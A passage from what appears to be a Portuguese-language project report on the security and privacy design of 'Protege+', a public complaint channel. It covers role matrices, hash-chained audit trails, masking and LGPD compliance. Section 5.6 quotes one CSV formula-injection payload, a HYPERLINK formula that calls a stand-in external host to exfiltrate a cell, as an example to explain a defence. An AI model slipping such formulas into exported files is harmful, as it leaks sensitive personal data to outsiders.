O nome do usuário nunca chega ao disco. O arquivo recebe um UUID sem extensão, seguindo a orientação de gerar o nome do arquivo armazenado, e o nome informado é higienizado e guardado apenas como metadado, para exibição. Travessia de diretório e execução por extensão deixam de ser possíveis não porque foram bloqueadas, mas porque o texto sob controle do usuário nunca alcança o sistema de arquivos. A higienização existe mesmo assim, porque o nome volta para a tela do servidor: um nome com marcação embutida seria armazenado hoje e renderizado amanhã.

O binário fica fora da pasta pública. A recomendação é armazenar os arquivos fora do *webroot*, onde apenas acesso administrativo alcança. Arquivo dentro do diretório servido pelo servidor web é arquivo que qualquer pessoa baixa adivinhando a URL, e evidência de denúncia é o único conteúdo deste sistema que pode conter o rosto da vítima. Gravar os bytes no banco também foi descartado: incharia o backup, atrasaria toda consulta à tabela e transformaria o dump do banco num vazamento completo de uma vez só.

O hash é reconferido na leitura. O SHA-256 do conteúdo é gravado no recebimento e recalculado a cada download. Se o arquivo tiver sido trocado no disco por fora da aplicação, a entrega é **recusada**, porque devolver como evidência um arquivo que não é mais o recebido seria pior do que não devolver nada.

E limites, porque o envio é público: 5 MB por arquivo, 10 por denúncia, 10 requisições por minuto por origem e bloqueio depois que o caso é concluído.

k-anonimato no mapa.

```
| const MIN_EXIBICAO = 3; // limiar de privacidade
```

O mapa agrega por município e **nunca plota o endereço**. Municípios com menos de três denúncias aparecem em cinza neutro. O limiar aplica o modelo de k-anonimato de Sweeney (2002), e a pesquisa posterior mostra que a precaução é modesta, não exagerada: quinze atributos demográficos bastam para tornar únicas 99,98 % das pessoas de um estado americano, e a reidentificação funciona mesmo quando o atacante só dispõe de uma amostra pequena da população (ROCHER; HENDRICKX; DE MONTJOYE, 2019). Sem esse limiar, uma cidade pequena com uma única denúncia permitiria reidentificar a vítima olhando apenas para o mapa, e o dado agregado deixaria de ser agregado.

5.2.3 Registro de ações

O registro de ações é tratado em detalhe na seção 5.4, por ser um item próprio do enunciado. Em resumo, ele se apoia em três decisões: a auditoria é declarativa, por anotação e aspecto (AOP); registra os **dois desfechos**, sucesso e recusa; e cada registro guarda o hash SHA-256 do anterior, formando uma cadeia verificável. A exigência de manter registro das atividades é, ela própria, normativa: a ISO/IEC 27002:2022 dedica ao tema o controle 8.15, Logging (ISO/IEC, 2022), e a ANPD lista a auditoria entre as medidas técnicas esperadas, observando que ela “registra o que foi feito pelo usuário” (ANPD, 2021).

5.3 Requisito (b): tabelas de perfis, permissões e acesso a dado pessoal

5.3.1 Matriz de perfis e permissões de operação

Operação	CIDADÃO	ATENDENTE	GESTOR	AUDITOR	ADMIN
Registrar denúncia	Sim	Sim	Sim	Sim	Sim
Consultar por protocolo	Sim	Sim	Sim	Sim	Sim

Operação	CIDADÃO	ATENDENTE	GESTOR	AUDITOR	ADMIN
Anexar evidência ao próprio protocolo	Sim	Sim	Sim	Sim	Sim
Listar denúncias do painel	Não	Sim	Sim	Não	Sim
Abrir o detalhe de um caso	Não	Sim	Sim	Não	Sim
Baixar evidência anexada	Não	Sim	Sim	Não	Sim
Alterar status	Não	Sim	Sim	Não	Sim
Atribuir responsável	Não	Sim	Sim	Não	Sim
Editar dados do caso	Não	Sim	Sim	Não	Sim
Atender pela fila e desfazer	Não	Sim	Sim	Não	Sim
Excluir denúncia	Não	Não	Sim	Não	Sim
Remover evidência	Não	Não	Sim	Não	Sim
Cadastrar, editar e remover equipe	Não	Não	Sim	Não	Sim
Relatório estatístico	Não	Sim	Sim	Sim	Sim
Exportar CSV	Não	Sim (mascarado)	Sim	Não	Sim
Consultar a trilha de auditoria	Não	Não	Não	Sim	Sim
Verificar integridade da cadeia	Não	Não	Não	Sim	Sim

5.3.2 Matriz de acesso a dados pessoais

Dado pessoal	CIDADÃO	ATENDENTE	GESTOR	AUDITOR	ADMIN
Relato da denúncia	só o próprio	Sim	Sim	Não	Sim
Endereço da ocorrência	só o próprio	[endereço protegido]	Sim	Não	Sim
Endereço no CSV exportado	não se aplica	[endereço protegido]	Sim	não se aplica	Sim
Arquivo anexado (evidência)	só o próprio	Sim, auditado	Sim, auditado	Não	Sim, auditado
Nome do denunciante ²	não se aplica	Não	Sim, se não anônima	Não	Sim
E-mail do denunciante ²	não se aplica	Não	mascarado, j***a@...	Não	Sim
Telefone do denunciante ²	não se aplica	Não	mascarado, *****4321	Não	Sim
Município agregado (mapa)	não se aplica	Sim	Sim	Sim	Sim
Identidade de quem operou	não se	Não	Não	Sim	Sim

Dado pessoal	CIDADÃO	ATENDENTE	GESTOR	AUDITOR	ADMIN
o sistema	aplica				

² **Modelo físico, não implementação em execução.** As três linhas marcadas descrevem o comportamento projetado para a tabela **CIDADA0** do modelo Oracle, explicada no Anexo A. A aplicação Java em execução trabalha com um subconjunto desse modelo: ela não tem entidade **Cidadao**, e o único dado identificável que a denúncia carrega hoje é o endereço da ocorrência. Os métodos **MascaraUtil.email** e **MascaraUtil.telefone** existem, estão escritos para esses campos e não têm chamador em produção. A seção 5.8 registra a lacuna e o que falta para fechá-la. Descrever aqui um mascaramento que o código ainda não executa seria exatamente o tipo de afirmação não verificável que a introdução deste documento se comprometeu a não fazer.

A segunda tabela existe porque o enunciado pede explicitamente quais funcionalidades acessam dados pessoais, e porque a LGPD impõe ao poder público informar as hipóteses em que realiza tratamento de dados pessoais (BRASIL, 2018a, art. 23, I). A identificação de quem denuncia, quando existe, é tratada como informação de acesso restrito, na mesma linha do que determina a Lei 13.460/2017 ao classificar a identificação do requerente como “informação pessoal protegida com restrição de acesso” (BRASIL, 2017, art. 10, §7.º).

5.3.3 As duas assimetrias que sustentam o desenho

O GESTOR não vê a trilha de auditoria. É a decisão mais contraintuitiva do sistema e a mais importante: **quem opera não fiscaliza o próprio uso.** Um gestor que pudesse ler e, mesmo sem querer, influenciar o registro das próprias ações tornaria a trilha inútil como prova. A fiscalização pertence a um perfil que não tem poder operacional nenhum.

O AUDITOR não lê o relato. Ele precisa saber *que* o servidor X abriu o caso 4471 às 14h32, não *o que* estava escrito ali. Dar-lhe acesso ao conteúdo criaria um perfil com visão total do sistema, exatamente o que a segregação existe para impedir.

O resultado é que **nenhum perfil, exceto o ADMIN, tem visão completa.** E o ADMIN é o mais auditado de todos.

5.4 Requisito (c): quais operações geram trilha de auditoria

5.4.1 O catálogo das ações auditadas

Quinze endpoints estão anotados com **@Auditavel**. As ações **LOGIN** e **LOGIN_NEGADO** são registradas diretamente pelo controlador de autenticação, que roda antes de haver perfil no contexto de segurança. São **onze ações auditadas**:

Ação	Quando dispara	Por que é auditável
LOGIN	autenticação bem-sucedida	Estabelece quem estava operando em cada janela de tempo
LOGIN_NEGADO	credencial recusada	Tentativa repetida é sinal de ataque
CONSULTA_SENSIVEL	abertura do detalhe de um caso e download de anexo	Leitura é acesso. Quem leu o relato de quem, e quando. Uma foto anexada a uma denúncia de violência é o dado mais sensível do sistema

Ação	Quando dispara	Por que é auditável
ALTERACAO_STATUS	mudança de status, inclusive por fila e por desfazer	Muda o andamento do caso
ALTERACAO_DADOS	edição dos dados do caso	Alteração de conteúdo precisa de autor
ATRIBUICAO	atribuição de responsável	Define quem responde pelo caso
EXCLUSAO	exclusão lógica de denúncia e remoção de anexo	A operação mais destrutiva do sistema
EXPORTACAO	<code>GET /api/exportacao/denuncias</code>	Dado que sai do sistema deixa de ser controlável
REANALISE_IA	reanálise pelo VigIA	Decisão automatizada precisa de rastro
ALTERACAO_EQUIPE	cadastro, edição e remoção de membro	Altera quem pode receber casos
ACESSO_AUDITORIA	consulta à própria trilha	Quem vigia o vigia

A lista não é arbitrária. A OWASP recomenda registrar, no mínimo, sucessos e falhas de autenticação, falhas de autorização e falhas de validação de entrada (OWASP, [s.d.]b), e as quatro operações que o enunciado cita nominalmente estão contempladas. O último item da tabela é o menos óbvio e o mais necessário: se consultar a auditoria não gerasse registro, o perfil AUDITOR teria uma zona cega, e poderia varrer a atividade de todo mundo sem deixar rastro da própria varredura.

5.4.2 O que não é auditado, e por quê

`GET /api/stats` e `GET /api/stats/analitico` não geram trilha. A resposta é integralmente agregada e nenhum campo permite chegar a um caso individual. Auditar leitura de agregado encheria a trilha de ruído e **dificultaria encontrar os acessos que importam**: uma trilha em que tudo aparece é uma trilha em que nada se destaca.

A listagem paginada (`GET /api/denuncias`) também não gera trilha, e pela mesma razão só é defensável porque o DTO de listagem **não carrega relato nem endereço**. Se carregasse, a decisão estaria errada.

5.4.3 Registro nos dois desfechos

```
try {
    Object retorno = jp.proceed();
    auditoria.registrar(acao, recurso, id, PERMITIDO, detalhe);
    return retorno;
} catch (AccessDeniedException e) {
    auditoria.registrar(acao, recurso, id, NEGADO, "Acesso negado pelo perfil");
    throw e;
} catch (Throwable e) {
    auditoria.registrar(acao, recurso, id, ERRO, ...);
    throw e;
}
```

Um sistema que só registra o que deu certo não serve para investigar abuso. A tentativa recusada é justamente a informação de segurança mais valiosa, porque é ela que mostra alguém sondando o que não deveria, e por isso “Authorization (access control) failures” aparece explicitamente entre os eventos que a OWASP manda registrar (OWASP, [s.d.]b).

O interceptador é um *aspecto* (AOP). A alternativa seria chamar `auditoria.registrar(...)` dentro de cada método, o que espalharia a preocupação de auditoria pelos nove controladores e tornaria fácil esquecer um. Com a anotação, auditar é declarativo:

```
@Auditavel(acao = AuditoriaService.CONSULTA_SENSIVEL, recurso = "Denuncia")
@GetMapping("/{id}")
public DenunciaDetalheResponse detalhar(@PathVariable Long id) { ... }
```

5.4.4 A recusa que acontecia antes do controlador

Havia uma lacuna real nesse desenho, encontrada em teste e corrigida nesta fase. A anotação `@Auditavel` envolve o **método do controlador**. Quando o Spring Security recusa a requisição por regra de rota, o método nunca executa, e portanto nada era registrado. As recusas mais interessantes, as bloqueadas por rota, eram justamente as que não deixavam rastro.

A correção foi levar a auditoria para o ponto onde o 403 é efetivamente emitido, no `RespostasDeSeguranca`, que passou a receber o `AuditoriaService` e a mapear a URI recusada para a ação correspondente antes de responder. O registro da recusa é feito em bloco protegido, com uma justificativa que ficou no código: auditar é importante, negar o acesso é mais. Se o registro falhar, a requisição continua sendo recusada.

5.4.5 O que cada registro guarda, e a cadeia de hashes

Campos gravados: `dataHora`, `usuario`, `perfil`, `acao`, `recurso`, `recursoId`, `resultado`, `origemIp`, `userAgent`, `detalhe`, `hashAnterior` e `hash`.

O IP respeita `X-Forwarded-For` quando presente, **sem confiar cegamente nele**: o cabeçalho é fornecido pelo cliente e pode ser forjado, então é registrado como informação, não como prova.

O campo `detalhe` tem uma regra que está escrita como comentário na própria coluna do banco: *“Descrição curta e não sensível. O relato da denúncia jamais entra aqui.”* A regra não é preciosismo: a OWASP lista explicitamente senhas, identificadores de sessão, tokens de acesso e chaves entre os dados que nunca devem ser registrados (OWASP, [s.d.]b), e o mesmo raciocínio vale para o relato de uma vítima. Uma trilha que copiasse o relato para “dar contexto” viraria uma segunda cópia do dado sensível, com acesso mais amplo que o original, já que auditores a leem e gestores não.

Cada registro guarda o hash SHA-256 do anterior, formando um encadeamento. O primeiro aponta para o **gênese**, 64 zeros.

```
String anterior = repo.findFirstByOrderByIdDesc()
    .map(AuditoriaLog::getHash).orElse(GENESE);
reg.setHashAnterior(anterior);
reg.setHash(sha256(reg.conteudoParaHash()));
```

O encadeamento responde a uma exigência conhecida: o NIST adverte que os logs “need to be protected from breaches of their confidentiality and integrity” e que podem sofrer alteração ou destruição, intencional ou não (NIST, 2006), e a OWASP recomenda construir detecção de adulteração para que se saiba se um registro foi modificado (OWASP, [s.d.]b).

O conteúdo canônico que entra no hash junta todos os campos do registro **e o hash anterior**. A consequência: alterar qualquer campo de qualquer linha muda o hash daquela linha, que deixa de bater com o `hashAnterior` da seguinte, e a quebra é detectável.

A verificação percorre a cadeia e **distingue dois tipos de adulteração**:

Sintoma	Diagnóstico
o hash recalculado não bate com o gravado	“O conteúdo do registro foi alterado após a gravação”
o <code>hashAnterior</code> não corresponde ao antecessor	“Registro removido ou inserido na cadeia”

Isso importa numa investigação: apagar uma linha e alterar uma linha são condutas diferentes, e a trilha diz qual das duas aconteceu.

O que essa cadeia não faz. Ela não impede adulteração. Quem tem acesso de escrita ao banco pode reescrever tudo, inclusive recalculando os hashes. O que ela garante é que **adulteração parcial não passa despercebida**. Para tornar a fraude impossível seria preciso replicar os hashes fora do alcance de quem administra o banco, o que está fora do escopo desta fase mas é a evolução natural, registrada na seção 5.8.

Sete testes automatizados provam a detecção, alterando e removendo registros de propósito e exigindo que o sistema aponte onde a cadeia quebrou.

5.4.6 Um defeito que virou teste

Na primeira execução real, a verificação de integridade falhou num sistema recém-inicializado. A causa: `LocalDateTime.now()` tem precisão de nanossegundos, e a coluna `TIMESTAMP(6)` do banco truncava ao gravar. O hash era calculado antes de salvar, com nanossegundos, e recalculado depois de ler, sem eles. Nunca batia.

```
| reg.setDataHora(LocalDateTime.now().truncatedTo(ChronoUnit.MILLIS));
```

Existe um teste dedicado a fixar esse truncamento, para que ninguém o remova sem perceber. E vale registrar a lição: **um mecanismo de integridade que dá alarme falso é pior que nenhum**, porque treina quem opera a ignorá-lo.

5.5 Requisito (d): log técnico e registro de auditoria não são a mesma coisa

Os dois gravam eventos e param de se parecer aí. A distinção não é deste projeto: o guia do NIST sobre gestão de logs já separa, dentro dos registros de um sistema operacional, os eventos de sistema dos **audit records**, que documentam tentativas de autenticação, acessos a arquivos e mudanças de política de segurança (NIST, 2006).

Aspecto	Log técnico	Registro de auditoria
Para que serve	diagnosticar defeito	responder quem fez o quê, quando
Pergunta que responde	“por que quebrou?”	“quem acessou o relato do caso 4471?”
Quem lê	quem desenvolve e sustenta	corregedoria, controladoria, autoridade
Onde vive	arquivo de log do servidor, saída padrão	tabela <code>AUDITORIA_LOG</code> , no banco
Formato	texto livre, com nível e <i>stack trace</i>	registro estruturado, com campos fixos
Retenção	dias ou semanas; rotaciona e é descartado	anos; é a memória institucional
Pode ser apagado?	sim, é rotina de operação	não sem quebrar a cadeia de hashes
Contém dado pessoal?	não deve	sim, e por isso é restrito a AUDITOR e ADMIN
Vale como prova?	não, é editável e volátil	sim, é essa a razão de existir
Quem provoca o evento	o programa	a pessoa
Efeito de perder o	dificulta corrigir um defeito	inviabiliza responsabilizar alguém

Aspecto	Log técnico	Registro de auditoria
registro		

No Protege+ os dois convivem, e a fronteira entre eles fica visível no tratamento do erro 500:

```
String rastreio = UUID.randomUUID().toString().substring(0, 8);
log.error("[{}] Erro nao tratado", rastreio, ex); // LOG TECNICO: stack trace
completo
return build(INTERNAL_SERVER_ERROR,
    "Erro interno. Informe o codigo de rastreio ao suporte.", null, rastreio);
```

O *stack trace*, com nomes de tabela, colunas e caminhos de arquivo, vai para o log técnico, onde quem sustenta o sistema o encontra. O cliente recebe oito caracteres. **Nada disso entra na trilha de auditoria**, porque uma falha técnica não é uma ação humana sobre dado pessoal.

O inverso também vale: quando um AUDITOR abre a trilha, isso vira registro de auditoria e **não** vira linha de log técnico. São dois livros, com propósitos, leitores e prazos diferentes.

Um cuidado decorre disso: **log técnico não deve conter dado pessoal**. A orientação da OWASP é categórica ao afirmar que informação privada ou secreta jamais deve ser registrada em log (OWASP, [s.d.]). Registrar o relato de uma denúncia numa mensagem de depuração colocaria conteúdo sensível num arquivo rotacionado, lido por quem desenvolve e frequentemente enviado a serviços externos de observabilidade, fora de todo o controle de acesso construído nas seções anteriores. Vale lembrar que o dever de comunicar incidentes existe e tem prazo: a ANPD fixou em três dias úteis a comunicação de incidente de segurança que possa acarretar risco ou dano relevante (ANPD, 2024), e entre julho de 2023 e junho de 2025 recebeu 723 comunicações (ANPD, 2025).

5.6 Requisito (e): medidas para reduzir a exposição de dados na API

Oito medidas, da mais estrutural à mais operacional. Cada uma responde a um risco catalogado.

1. Não enviar o que não é necessário.

É a medida mais eficaz, porque é a única que **elimina** o risco em vez de administrá-lo. Três DTOs de saída para a mesma entidade: a listagem carrega 11 campos e nenhum relato; o detalhe carrega 20 e é auditado. É a resposta direta ao risco **API3:2023**, categoria que a OWASP formou justamente reunindo a antiga “Excessive Data Exposure” com “Mass Assignment” (OWASP, 2023), e a aplicação do princípio da necessidade da LGPD (BRASIL, 2018a, art. 6.º, III).

Se a listagem trouxesse o relato, abrir o Kanban leria cem denúncias de uma vez, e a auditoria de consulta sensível viraria teatro.

2. Mascarar no servidor.

```
public static String email(String valor) { // joao.silva@x.com vira
j***a@x.com
public static String telefone(String valor) { // (11) 98765-4321 vira
*****4321
public static String endereco(String valor) { // vira
[endereco protegido]
```

O valor mascarado é o que o servidor serializa. Não há campo oculto no JSON esperando um F12.

3. Errar respostas de forma silenciosa.

O 403 não revela se o recurso existe. Responder 403 para casos existentes e 404 para inexistentes daria a qualquer pessoa autenticada um **oráculo de existência**: sem ler nada, ela mapearia a base por tentativa e erro. É a forma discreta do risco **API1:2023** (OWASP, 2023).

4. Não devolver mensagem de exceção.

Nome de tabela, de coluna e trecho de SQL num corpo de erro são material de reconhecimento. Ficam no log; o cliente recebe o código de rastreio.

5. Restringir a origem que pode chamar a API.

```
c.setAllowedOrigins(lista); // e nao allowedOriginPatterns("*")
c.setAllowCredentials(true);
```

O curinga combinado com credenciais permitia que **qualquer site da internet** disparasse requisições autenticadas a partir do navegador de um servidor logado. A própria OWASP registra que o navegador rejeita resposta com `Access-Control-Allow-Origin=*` quando credenciais são permitidas, e recomenda que o servidor libere apenas origens que a equipe controla definitivamente (OWASP, [s.d.]d). Por isso as origens agora são declaradas explicitamente, e os cabeçalhos expostos também são declarados um a um (`Location` e `Content-Disposition`), e não liberados em bloco.

6. Limitar o volume por origem.

Um endpoint público sem limite é um endpoint que qualquer um esvazia, e a OWASP trata a ausência desse limite como o risco **API4:2023 Unrestricted Resource Consumption** (OWASP, 2023). `POST /api/denuncias` aceita 5 por minuto por IP; `POST /api/auth/login`, 20. Ambos devolvem **429**, que é o código que o RFC 6585 define para “the user has sent too many requests in a given amount of time” (IETF, 2012).

Os números são diferentes de propósito. Denúncia é mais restrita porque o custo de uma inundação de registros falsos recai sobre a equipe de atendimento. O login é mais folgado porque a chave é o IP, e vários servidores atrás do mesmo NAT corporativo compartilham um endereço: um limite apertado barraria uma repartição inteira por causa de uma pessoa que errou a senha. Força bruta continua contida, porque 20 por minuto são 28.800 tentativas diárias contra hashes BCrypt, e o bcrypt é deliberadamente lento justamente para tornar o ataque por tentativa custoso (PROVOS; MAZIÈRES, 1999; OWASP, [s.d.]a).

O filtro roda **antes** da autenticação, porque força bruta de senha precisa ser barrada antes de chegar à verificação dela.

7. Tratar exportação como a operação mais perigosa do sistema.

Uma consulta sensível expõe um caso. Uma exportação entrega centenas de uma vez, num arquivo que passa a circular por e-mail e por pen drive, **fora de todo o controle de acesso construído até aqui**. Por isso ela é sempre auditada, respeita o mesmo mascaramento das telas (negar o endereço no detalhe e entregá-lo em lote numa planilha seria uma contradição que o atacante encontraria antes do avaliador) e **não leva o relato**. As perguntas de gestão, como volume, tipo, prazo e situação, não precisam do texto.

Há ainda um ataque que não acontece na API: **injeção de fórmula em CSV**. A OWASP descreve o problema como a incorporação de entrada não confiável em arquivos exportados, e lista como caracteres a neutralizar o sinal de igual, o mais, o menos e a arroba (OWASP, [s.d.]f). Um denunciante que escrevesse o endereço como

```
=HYPERLINK("http://sitedele/?d=&A1;"clique")
```

faria a planilha do órgão público exfiltrar a linha ao ser clicada, dias depois, na máquina de quem abriu o arquivo, longe de qualquer log da aplicação. A defesa é prefixar o valor com apóstrofo, o que força a planilha a tratá-lo como texto: o usuário vê o conteúdo original, e a planilha não o executa.

8. Não vazar dado para terceiros.

O contexto que o VigIA envia ao Google Gemini na pergunta livre do gestor **não contém relatos**. E toda análise declara sua origem, **GEMINI** ou **REGRAS**, persistida na coluna **origem_analise**, porque decisão automatizada precisa ter fundamento declarado e rastreável, como exige o art. 20 da LGPD (BRASIL, 2018a).

Sem a chave de API, o sistema continua funcionando por regras explicáveis. **A ausência da IA degrada a qualidade da sugestão, não a operação do canal.**

5.7 Fundamento legal das decisões

As escolhas técnicas das seções anteriores não são preferências de estilo. Cada uma responde a um dever concreto, e o quadro abaixo amarra dispositivo, conteúdo e implementação.

Dispositivo	Conteúdo	Como o sistema atende
LGPD, art. 6.º, III (necessidade)	Tratamento limitado ao mínimo necessário, com dados pertinentes, proporcionais e não excessivos	DTO por audiência, mascaramento no servidor, listagem sem relato, contexto de IA sem relato
LGPD, art. 6.º, VII (segurança)	Medidas técnicas e administrativas aptas a proteger de acesso não autorizado	RBAC em três camadas, BCrypt, CORS por lista, limite por origem, armazenamento fora da pasta pública
LGPD, art. 6.º, X (responsabilização)	Demonstração da adoção de medidas eficazes	Trilha de auditoria encadeada, com verificação de integridade
LGPD, art. 18, VI (eliminação)	Direito do titular à eliminação	Exclusão lógica que destrói o conteúdo e preserva a existência do registro
LGPD, art. 20 (decisão automatizada)	Direito a revisão e a informação sobre os critérios	Classificação por regras explicáveis, origem persistida, reanálise disponível e auditada
LGPD, art. 23 (poder público)	Tratamento para finalidade pública, com transparência e encarregado	Matrizes da seção 5.3, publicação das hipóteses de tratamento
LGPD, art. 46 (segurança desde a concepção)	Medidas observadas “desde a fase de concepção do produto”	k-anonimato, DTO por audiência e limiar de exibição definidos no desenho, não depois
LGPD, art. 48 e Resolução CD/ANPD 15/2024	Comunicação de incidente em três dias úteis	Trilha e log técnico permitem reconstituir escopo e janela do incidente
Lei 13.460/2017, art. 10, §7.º	Identificação do requerente é informação com restrição de acesso	Identidade só é visível a GESTOR e ADMIN, e a leitura é auditada
Lei 13.460/2017, art. 16	Decisão final em 30 dias, prorrogável uma vez	SLA interno de 10 dias proposto na seção 4.3.1
Lei 13.608/2018, arts. 3.º e 4.º-B	Sigilo dos dados do informante e preservação da identidade	Anonimato graduado, elo de mão dupla, ausência de vínculo com cidadão em denúncia anônima

Dispositivo	Conteúdo	Como o sistema atende
Decreto 9.492/2018, art. 23, §2.º	Denúncia anônima é apurada	Registro público, sem exigência de conta
Decreto 10.153/2019, art. 6.º	Identificação preservada desde o recebimento; pseudonimização antes do encaminhamento	Exclusão lógica com anonimização; relato destruído e registro mantido

O ponto de tensão entre o art. 18, VI da LGPD e o dever de rastreabilidade da administração está resolvido explicitamente na seção 5.2.2, e é a decisão de projeto de que mais se orgulha este documento: os dois deveres foram atendidos ao mesmo tempo, e a restrição do banco obriga a que continuem sendo.

5.8 O que ainda não está resolvido

Honestidade sobre limites é parte de uma análise de segurança. Um documento que só relata acertos não permite avaliar risco.

- **A cadeia de hashes não é replicada fora do banco.** Quem administra o banco pode reescrever a trilha inteira recalculando os hashes. O passo natural é publicar periodicamente o último hash num meio fora do alcance da mesma administração.
- **O limite por origem é mantido em memória.** Numa implantação com várias instâncias, cada uma teria seu próprio contador. Em produção, isso pertence a um cache distribuído.
- **A cifragem de campo em repouso vive no cliente (`lgpd.js`),** herança da fase anterior. O lugar correto é o servidor, ou o próprio banco.
- **Não há revogação ativa de token.** O token tem validade de 8 horas, mas um token vazado vale até expirar. Uma lista de revogação, ou tokens de vida curta com renovação, é o caminho.
- **O `X-Forwarded-For` é registrado sem validação de proxy confiável.** É informação, não prova, e a trilha deveria dizer isso explicitamente ao auditor.
- **Os arquivos enviados não passam por antivírus.** A verificação de assinatura garante que o conteúdo é do formato declarado, não que ele seja inofensivo. Um canal em produção precisaria de varredura antes de disponibilizar o download.
- **O envio de evidência é autenticado apenas pelo protocolo.** Quem descobrir um protocolo válido pode anexar arquivos a ele. Os limites de quantidade, tamanho, formato e origem contêm o abuso, mas não o impedem. O custo dessa escolha é o preço do anonimato, que não permite exigir conta de quem denuncia.
- **O denunciante identificado existe no modelo físico e não na implementação.** O script `01_ddl_oracle.sql` cria a tabela `CIDADA0` com nome, e-mail e telefone, e o `CHECK ck_denuncia_anonimato` impede que uma denúncia anônima aponte para ela. A aplicação Java não tem entidade correspondente: `Denuncia` guarda apenas o endereço como dado identificável. Consequência prática: o formulário do canal identificado (nível 3) coleta nome e contato, mas `DenunciaRequest` não declara esses campos, então **com a API no ar esses dois valores não são persistidos**. Fechar a lacuna são quatro arquivos: os dois campos em `DenunciaRequest` e em `Denuncia`, a gravação no `DenunciaService` e o mascaramento condicional em `DenunciaMapper.detalhe`, chamando os métodos que `MascaraUtil` já expõe.
- **`MascaraUtil.email` e `MascaraUtil.telefone` são código sem chamador.** Estão implementados e corretos, mas hoje só `endereco()` é usado em produção, pelo `DenunciaMapper` e pelo `ExportacaoService`. Enquanto o item acima não for resolvido, os dois são infraestrutura antecipada, e não medida em vigor.
- **Não há política formal de retenção.** O Decreto 10.153/2019 fixa cem anos de restrição de acesso aos elementos de identificação do denunciante (BRASIL, 2019); o sistema ainda não implementa prazos de retenção e descarte diferenciados por tipo de dado.

Nenhum desses pontos invalida o que foi construído. Todos são do tipo que uma fase seguinte, ou uma equipe de operação, precisaria endereçar antes de o sistema tratar denúncia real.

6. Encerramento

6.1 Síntese da entrega

O Protege+ chega ao fim da Fase 5 como um sistema completo, e não como um conjunto de telas. O quadro abaixo resume o que existe e onde verificar cada item.

Frente	Estado	Onde verificar
API RESTful	31 rotas em 9 controladores, OpenAPI 3 executável	Parte 3, Swagger UI
CRUD	3 recursos com ciclo completo	Seção 3.2, Anexo D
Front-end integrado	Portal, painel e interface React consumindo a API	Seção 3.3
Estruturas de dados	Lista, fila de prioridade e pilha, com endpoints próprios	Seção 4.1
Relatório estatístico	6 gráficos, medidas calculadas no servidor, 25 testes dedicados	Seção 4.2
Interpretações e sugestões	8 recomendações amarradas a números e a fontes	Seção 4.3
Controle de acesso	5 perfis, RBAC em três camadas	Seções 5.2 e 5.3
Proteção de dado sensível	14 medidas, do BCrypt ao k-anonimato	Seção 5.2.2
Trilha de auditoria	11 ações, 15 endpoints, cadeia SHA-256 verificável	Seção 5.4
Redução de exposição na API	8 medidas	Seção 5.6
Banco de dados	12 tabelas, 30 CHECK, 13 índices, 11 FK	Anexo A
Testes	81 testes JUnit em 11 conjuntos, mais bateria manual	Anexo D
Fundamentação externa	50 fontes citadas no texto	Anexo E

6.2 O que esta fase ensinou

Três lições concretas, e todas têm a mesma raiz.

Cada parte funcionava isoladamente, e o sistema mentia. Os quatro defeitos mais graves desta fase não foram erros de lógica dentro de uma classe. Foram defeitos de costura: o filtro de autenticação que ignorava o perfil do token, o login que não falava com a API, o portal que gravava no `localStorage` enquanto a API estava pronta ao lado, e o botão de detalhe que levava o gestor à tela do cidadão. Todos passaram por revisão de código sem chamar atenção, porque cada peça, olhada sozinha, estava correta. **Só a execução ponta a ponta os revelou.**

Teste unitário verde não é sistema funcionando. Os 81 testes desta fase são úteis e continuarão sendo, mas nenhum deles faz a pergunta que encontrou os defeitos acima: “esta denúncia que acabei de registrar aparece do outro lado?”. A verificação registrada no Anexo D existe por isso.

Um mecanismo de proteção que nunca acusa nada não prova que funciona. Vale para a cadeia de hashes, cujos testes adulteram a trilha de propósito, e vale para o RBAC, cuja demonstração é a recusa visível na tela, e não o botão escondido.

Uma quarta lição é metodológica e diz respeito a este documento: **decisão de projeto sem fonte é opinião**. Reescrever as justificativas amarrando cada escolha a uma norma, a um dado público ou a um artigo mudou algumas decisões pelo caminho, entre elas a formulação do SLA da seção 4.3.1, que passou a dialogar com o prazo legal de trinta dias da Lei 13.460/2017 em vez de nascer apenas da distribuição observada.

6.3 Limites e próximos passos

Os limites técnicos estão listados na seção 5.8 e não se repetem aqui. Além deles, três frentes de produto ficam abertas:

Alerta de envelhecimento no backlog. É a recomendação 3 da seção 4.3.1 e a mais urgente das oito, porque a análise mostrou cinco casos críticos parados há 78,84 dias em média. A fila de prioridade já sabe ordenar por urgência e antiguidade; falta o gatilho que avisa alguém.

Decisão sobre o score. Com r igual a $-0,091$, ele não influencia o tempo de atendimento. Ou o painel declara isso explicitamente, ou o score passa a pesar na priorização. Manter como está é a única opção que não faz sentido.

Subdivisão da categoria “Outros”. É a mais lenta, a mais dispersa e a dona do único outlier. Enquanto for uma categoria residual, continuará sendo uma fila sem dono.

Anexo A: O modelo físico, bloco a bloco

Este anexo atende diretamente à ressalva D1 recebida em fase anterior, segundo a qual os scripts DDL não podem ficar apenas em link de repositório e precisam estar documentados e explicados no próprio PDF.

O script `database/01_ddl_oracle.sql` tem **12 tabelas**, 12 chaves primárias (uma composta), **11 chaves estrangeiras**, 6 restrições UNIQUE, **30 restrições CHECK**, 13 índices e 30 comentários de tabela e de coluna. As seções abaixo explicam as decisões que não são óbvias ao ler o script.

A.1 Chave natural nos domínios

As três tabelas de domínio, `STATUS_DENUNCIA`, `TIPO_DENUNCIA` e `PERFIL`, usam **chave natural**: a sigla é a própria chave primária.

```
CREATE TABLE STATUS_DENUNCIA (  
  status      VARCHAR2(20) NOT NULL,  
  descricao   VARCHAR2(60) NOT NULL,  
  ordem_fluxo NUMBER(2)    NOT NULL,  
  CONSTRAINT status_denuncia_pk PRIMARY KEY (status),  
  CONSTRAINT ck_status_ordem    CHECK (ordem_fluxo BETWEEN 1 AND 10)  
);
```

A alternativa convencional seria `id_status` `NUMBER` com a sigla num campo à parte. Aqui isso criaria um problema real: a entidade JPA grava `status = 'recebida'` como texto. Com chave substituta, o texto que a aplicação escreve **não seria** a chave estrangeira, e o script documentado descreveria um banco diferente do que a aplicação usa.

Com chave natural, a coluna `DENUNCIA.status` é a chave estrangeira para `STATUS_DENUNCIA(status)`. O modelo documentado e o modelo em execução são o mesmo, e essa é a razão da escolha, não elegância teórica.

O campo `ordem_fluxo` existe para permitir detectar transições fora de ordem. Sem ele, “concluída para recebida” seria indistinguível de um avanço normal.

A.2 A tabela central

`DENUNCIA` concentra 24 colunas e 12 restrições. Três merecem explicação.

Coerência temporal. Não se conclui antes de registrar:

```
CONSTRAINT ck_denuncia_conclusao CHECK (concluida_em IS NULL OR concluida_em >=  
criado_em)
```

